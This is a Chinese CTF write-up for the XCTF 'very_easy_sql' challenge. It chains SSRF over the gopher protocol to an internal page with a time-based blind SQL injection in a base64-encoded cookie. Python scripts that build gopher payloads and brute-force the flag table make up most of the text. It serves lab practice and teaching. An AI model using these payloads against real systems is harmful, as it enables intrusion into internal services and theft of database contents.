XCTF_very_easy

XCTF_very_easy_sql

简单的进行sql注入测试后发现不简单
尝试一下按照提示

在这里插入图片描述

结合这句提示
应该是内部访问，所以采用的手段应该是ssrf
顺便看看包
唯一值得关注的是set-cookie
说回ssrf
唯一能使用的方式应该是Gopher协议
找到了一个POST的python脚本

import urllib.parse
 
payload = """
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload) 
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new 
result = urllib.parse.quote(result)
print(result) #输出结果

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a

使用burp进行抓包

请添加图片描述

似乎根据用户名分配cookie
注入点在cookies
构造

import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

然后进行内部网络盲注爆破字段

import urllib.parse
import requests
import time
import base64

url = "http://61.147.171.105:52686//use.php?url="
flag = ""
for pos in range(1, 50):
    for i in range(33, 127):
        # poc="') union select 1,2,if(1=1,sleep(5),1) # "

        # security
        # poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "

        # flag
        # poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "

        poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
            i) + ",sleep(2),1) # "

        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
        t1 = time.time()
        res = requests.get(url + final_poc)
        t2 = time.time()
        if (t2 - t1 > 2):
            flag += chr(i)
            print(flag)
            break
print(flag)

 - 执行结果